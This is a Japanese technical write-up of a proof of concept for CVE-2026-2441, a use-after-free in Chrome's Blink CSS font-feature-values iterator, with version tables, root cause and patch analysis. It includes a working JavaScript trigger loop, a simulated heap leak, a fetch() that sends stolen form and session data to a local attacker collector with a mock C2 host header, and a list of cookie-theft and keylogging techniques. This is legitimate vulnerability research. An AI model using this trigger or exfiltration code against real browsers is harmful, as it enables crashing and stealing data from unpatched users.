CVE-2026-2441の詳細な概念実証(PoC)と技術分析。Chrome CSSのuse-after-free(解放後使用)脆弱性で、巧妙に細工されたHTMLページを介してサンドボックス化されたレンダラーでのRCE(リモートコード実行)を可能にします。
| 項目 | 値 |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8(高) |
| 種別 | Use-After-Free(CWE-416) |
| コンポーネント | Blink CSS — CSSFontFeatureValuesMap |
| ソースファイル | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| 修正コミット | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| 報告者 | Shaheen Fazim(2026-02-11) |
| パッチ日付 | 2026-02-13 |
| 実環境での悪用 | あり — Google が活発な悪用を確認 |
| プラットフォーム | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| Windows / macOS(Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux(Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS(Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromium ベースのブラウザ(Edge、Brave、Opera、Vivaldi) | ベンダーのアドバイザリを確認 | 各社異なる |
FontFeatureValuesMapIterationSource は、内部の FontFeatureAliases HashMap への生のポインタ(const FontFeatureAliases* aliases_)を保持していました。イテレーション中に set() または delete() でマップが変更されると、HashMap は再ハッシュされ、新しいストレージを割り当てて古いストレージを解放します。生のポインタはダングリングになり、次の FetchNextItem() 呼び出しで解放済みメモリを読み取ることになります。
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
この修正は、生のポインタを HashMap のディープコピーに置き換えます。元のマップが再ハッシュされても、イテレータは自身のコピーに対して動作するため、ダングリングポインタを防ぐことができます。
poc.html を開きます| Chrome バージョン | 期待される動作 |
|---|---|
| < 145.0.7632.75(未パッチ) | レンダラーのクラッシュ — STATUS_ACCESS_VIOLATION(Windows)または SIGSEGV(Linux/macOS)。Chrome に「このページを開けません」というエラーが表示されます。 |
| >= 145.0.7632.75(パッチ適用済み) | クラッシュなし — PoC は最後まで実行され、すべてのエントリが正常に読み取られます。 |
PoC は、攻撃チェーンを明確かつ再現可能な順序で示すように構成されています。最初の部分で脆弱な Blink/CSS オブジェクトを作成し、2 番目の部分でイテレータの無効化をトリガーし、最後の部分で攻撃後の影響を安全な学術環境でシミュレートします。
重要な注意: UAF トリガーは、ブラウザが公開する実際の CSS/JavaScript API を使用して実装されています。ヒープリークとデータ流出ダッシュボードは、武器化された Chromium エクスプロイトを公開しないように、意図的に制御・シミュレートされています。
ペイロードはまず CSS の @font-feature-values ルールを定義します:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
このルールにより、Blink は内部の CSSFontFeatureValuesMap を作成します。脆弱な実装では、イテレータが内部の FontFeatureAliases ストレージへの生のポインタを保持するため、このマップのイテレーションは安全ではありません。
JavaScript ペイロードはその後、スタイルシートからマップを取得します:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
この時点で、攻撃者が制御するページは、内部の C++ 実装がイテレータの無効化に対して脆弱なブラウザオブジェクトへの JavaScript ハンドルを保持しています。
トリガーはすぐには実行されません。PoC は脆弱なシーケンスを実行する前に 800 ms 待機します:
setTimeout(triggerUAF, 800);
この遅延はデモの安定性のために使用されます。メモリ破壊トリガーが実行される前に、ページと偽の銀行認証フォームがレンダリングされるようにするためです。実際のドライブバイダウンロード攻撃では、悪意のあるページが読み込まれるとすぐに同じトリガーが自動的に起動される可能性もあります。
主要な UAF プリミティブは次のループです:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
脆弱性は、次の操作の順序によってトリガーされます:
1. map.entries() creates an iterator over CSSFontFeatureValuesMap.
2. In the vulnerable Blink implementation, the iterator references the internal map storage.
3. it.next() reads the next entry through that iterator.
4. map.delete(key) mutates the same map while the iterator is still alive.
5. map.set(...) inserts a new entry and can force the underlying HashMap to rehash.
6. Rehashing may free or move the old storage.
7. The iterator may still reference the old storage.
8. The next iterator access can therefore become a Use-After-Free.
当初の積極的な戦略では、より大きなヒープスプレーに似たループを使用していました。たとえば、削除のたびに 512 などの数百の新しいエントリを挿入します。これによりヒープ圧力が高まり、再割り当てと再利用の可能性が高まります。
ライブデモでは、これはわずか 4 つの変更ステップに減らされています:
while (step < 4) {
// iterator read + delete + set
}
その理由は実用的かつ教育的です。512 要素のスプレーは、多くの場合レンダラーを即座にクラッシュさせました。クラッシュは可用性への影響を証明するのに役立ちますが、デモの残りの部分でシミュレートされたデータ窃取と攻撃者ダッシュボードを表示できなくなります。縮小版でも、ライブプレゼンテーションに十分なブラウザの安定性を維持しながら、脆弱なイテレータ無効化ロジックを実証できます。
実際の武器化された UAF エクスプロイトは通常、ヒープまたは V8 ポインタをリークして ASLR をバイパスするためのメモリ開示プリミティブを必要とします。デモは、実際の任意メモリ読み取りを実装していません。その代わりに、事前定義された静的範囲からヒープに似たアドレスを生成します:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
この値は、シミュレートされたヒープリークです:
0x55a000000000 は、デモで使用される固定のヒープに似た開始範囲です。Math.random() * 0x200000 は、小さなランダム化オフセットを追加します。base & ~0xfff は、アドレスをページ境界に揃えます。その目的は、実際のメモリ開示エクスプロイトを実装せずに、ASLR バイパスリークが攻撃者ダッシュボードにどのように表示されるかを示すことです。
UAF トリガーとシミュレートされたヒープリークの後、PoC は収集したフォーム入力、ブラウザ内セッションデータ、DOM スニペット、UAF ステータス、シミュレートされたヒープリークを含むペイロードを構築します。ペイロードはローカルの攻撃者バックエンドに送信されます:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
ローカルバックエンドは POST /collect でデータを受信し、メモリに保存して、Server-Sent Events(GET /events)経由で攻撃者ダッシュボードに転送します。これは、ローカルかつ制御された環境に留めながら、実際の攻撃におけるコマンド&コントロール(C2)/データ流出フェーズをモデル化しています。
document.cookie、localStorage、sessionStorage、フォーム入力値の読み取りfetch() / WebSocket / sendBeacon() による外部送信addEventListener('keydown') によるすべてのキーストロークの取得別のサンドボックスエスケープ脆弱性と組み合わせると次のようになります:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC exploit → Browser process RCE
→ Kernel exploit → Full system compromise
→ Malware / ransomware / spyware installation
→ File system access, lateral movement, persistence
同様のブラウザ UAF を利用した実際のエクスプロイトチェーン:
この脆弱性はドライブバイダウンロードにより悪用可能です。悪意のあるページにアクセスする以外のユーザー操作は必要ありません:
chrome://flags/#site-isolation-trial-opt-out)| 日付 | イベント |
|---|---|
| 2026-02-11 | 脆弱性が Shaheen Fazim によって報告される |
| 2026-02-13 | Google が Chrome 145.0.7632.75/76(Windows/macOS)、144.0.7559.75(Linux)をリリース |
| 2026-02-13 | Google が実環境での悪用を確認 |
| 2026-02-16 | Vivaldi と Opera が修正をリリース |
この調査が役に立ったと思われたら、コーヒーをごちそうしていただけると幸いです:
この概念実証(PoC)は、教育および正規に許可されたセキュリティ研究の目的のみで提供されます。明示的な許可なくこの PoC をシステムに対して使用することは違法かつ非倫理的です。著者は悪用について一切の責任を負いません。
MIT